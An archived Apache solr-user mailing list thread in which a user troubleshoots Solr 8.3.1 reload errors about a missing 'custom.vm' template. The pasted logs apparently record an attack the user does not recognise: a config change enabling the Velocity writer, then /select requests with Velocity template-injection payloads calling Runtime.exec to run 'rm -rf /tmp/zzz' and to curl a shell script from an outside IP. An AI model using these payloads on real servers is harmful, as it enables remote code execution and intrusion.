You are viewing a plain text version of this content. The canonical link for it is here.
Posted to solr-user@lucene.apache.org by TK Solr <tk...@sonic.net> on 2020/04/02 07:50:20 UTC

Admin UI core loading fails

I'm on Solr 8.3.1 running in non-solrcloud mode.

When I tried to reload an existing core from Admin UI's "Core Admin" by clicking 
Reload, after modifying the core's conf/managed-schema, no error was reported. 
But the newly added field type is not shown in the core's Analyzer section.

I selected Logging from the side bar, I saw errors like this for every core, not 
just the core I tried to reload.

null:java.io.IOException: Unable to find resource 'custom.vm'
     at 
org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
     at 
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
     at 
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
     at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
     at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
     at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
     at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
     at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
     at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)

I could not find any mention of custom.vm in any files under any core's conf 
directory.

I restarted Solr, the core was loaded without an error and I can see the newly 
added filed type.

What could be the cause of these errors that only happens with the Reload button?

TK



Re: Admin UI core loading fails

Posted by TK Solr <tk...@sonic.net>.
On 4/2/20 5:39 AM, Erick Erickson wrote:
> What do your Solr logs show? My bet is that your mods to the configs somehow caused the reload to fail too early in the process to be shown in the UI.

These are the lines in solr.log that I see lead to the stack trace (core name 
has been modified to my_core). I don't understand why Velocity is involved. Is 
it used by Admin UI?

2020-04-02 02:16:33.851 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.h.SolrConfigHandler Executed config commands successfully and persited to 
File System [{"update-queryresponsewriter":{
     "startup":"lazy",
     "name":"velocity",
     "class":"solr.VelocityResponseWriter",
     "template.base.dir":"",
     "solr.resource.loader.enabled":"true",
     "params.resource.loader.enabled":"true"}}]
2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.S.Request 
[my_core]  webapp=/solr path=/config params={} status=0 QTime=487
2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.SolrCore 
[my_core]  CLOSING SolrCore org.apache.solr.core.SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.m.SolrMetricManager Closing metric reporters for 
registry=solr.core.my_core, tag=SolrCore@7b0eae1f
2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] 
o.a.s.m.r.SolrJmxReporter Closing reporter 
[org.apache.solr.metrics.reporters.SolrJmxReporter@2f090079: rootName = null, 
domain = solr.core.my_core, service url = null, agent id = null] for registry 
solr.core.my_core / com.codahale.metrics.MetricRegistry@4125989a
2020-04-02 02:16:33.858 INFO (searcherExecutor-29-thread-1-processing-x:my_core) 
[   x:my_core] o.a.s.c.SolrCore [my_core] Registered new searcher 
Searcher@45a874aa[my_core] 
main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.3.1):C55967:[diagnostics={java.vendor=Ubuntu, 
os=Linux, java.version=11.0.6, 
java.vm.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, lucene.version=8.3.1, 
os.arch=amd64, java.runtime.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, 
source=flush, os.version=4.15.0-76-generic, 
timestamp=1585790971495}]:[attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))}
2020-04-02 02:16:34.105 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.S.Request 
[my_core]  webapp=/solr path=/select 
params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('rm+-rf+/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} 
hits=0 status=0 QTime=1
2020-04-02 02:16:34.106 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.PluginBag 
Going to create a new queryResponseWriter with {type = queryResponseWriter,name 
= velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, 
name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] o.a.v.loader 
ResourceManager: unable to find resource 'custom.vm' in any resource loader.
2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] 
o.a.s.s.HttpSolrCall null:java.io.IOException: Unable to find resource 'custom.vm'


> Best,
> Erick
>
>> On Apr 2, 2020, at 02:50, TK Solr <tk...@sonic.net> wrote:
>>
>> I'm on Solr 8.3.1 running in non-solrcloud mode.
>>
>> When I tried to reload an existing core from Admin UI's "Core Admin" by clicking Reload, after modifying the core's conf/managed-schema, no error was reported. But the newly added field type is not shown in the core's Analyzer section.
>>
>> I selected Logging from the side bar, I saw errors like this for every core, not just the core I tried to reload.
>>
>> null:java.io.IOException: Unable to find resource 'custom.vm'
>>      at org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
>>      at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
>>      at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
>>      at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
>>      at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
>>      at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
>>      at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
>>      at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
>>      at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
>>
>> I could not find any mention of custom.vm in any files under any core's conf directory.
>>
>> I restarted Solr, the core was loaded without an error and I can see the newly added filed type.
>>
>> What could be the cause of these errors that only happens with the Reload button?
>>
>> TK
>>
>>

Re: Admin UI core loading fails

Posted by Erick Erickson <er...@gmail.com>.
What do your Solr logs show? My bet is that your mods to the configs somehow caused the reload to fail too early in the process to be shown in the UI.

Best,
Erick

> On Apr 2, 2020, at 02:50, TK Solr <tk...@sonic.net> wrote:
> 
> I'm on Solr 8.3.1 running in non-solrcloud mode.
> 
> When I tried to reload an existing core from Admin UI's "Core Admin" by clicking Reload, after modifying the core's conf/managed-schema, no error was reported. But the newly added field type is not shown in the core's Analyzer section.
> 
> I selected Logging from the side bar, I saw errors like this for every core, not just the core I tried to reload.
> 
> null:java.io.IOException: Unable to find resource 'custom.vm'
>     at org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
>     at org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
>     at org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
>     at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
>     at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
>     at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
>     at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
>     at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
>     at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
> 
> I could not find any mention of custom.vm in any files under any core's conf directory.
> 
> I restarted Solr, the core was loaded without an error and I can see the newly added filed type.
> 
> What could be the cause of these errors that only happens with the Reload button?
> 
> TK
> 
> 

Re: Admin UI core loading fails

Posted by TK Solr <tk...@sonic.net>.
I failed to include this line in my first post. This /select call with strange 
parameters (q=1) seems to be happening periodically even when I don't do any 
operation on Admin UI. I scanned the Solr source code, /opt/solr and 
/var/solr/data and I couldn't find the source of this call.

2020-04-04 00:41:02.604 INFO (qtp231311211-24) [   x:my_core] o.a.s.c.S.Request 
[my_core] webapp=/solr path=/select 
params={*q=1*&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('curl+-o+/tmp/zzz+217.12.209.234/s.sh'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} 
hits=0 status=0 QTime=1


On 4/2/20 12:50 AM, TK Solr wrote:
> I'm on Solr 8.3.1 running in non-solrcloud mode.
>
> When I tried to reload an existing core from Admin UI's "Core Admin" by 
> clicking Reload, after modifying the core's conf/managed-schema, no error was 
> reported. But the newly added field type is not shown in the core's Analyzer 
> section.
>
> I selected Logging from the side bar, I saw errors like this for every core, 
> not just the core I tried to reload.
>
> null:java.io.IOException: Unable to find resource 'custom.vm'
>     at 
> org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
>     at 
> org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
>     at 
> org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
>     at org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
>     at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
>     at 
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
>     at 
> org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
>     at 
> org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
>     at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
>
> I could not find any mention of custom.vm in any files under any core's conf 
> directory.
>
> I restarted Solr, the core was loaded without an error and I can see the newly 
> added filed type.
>
> What could be the cause of these errors that only happens with the Reload button?
>
> TK
>
>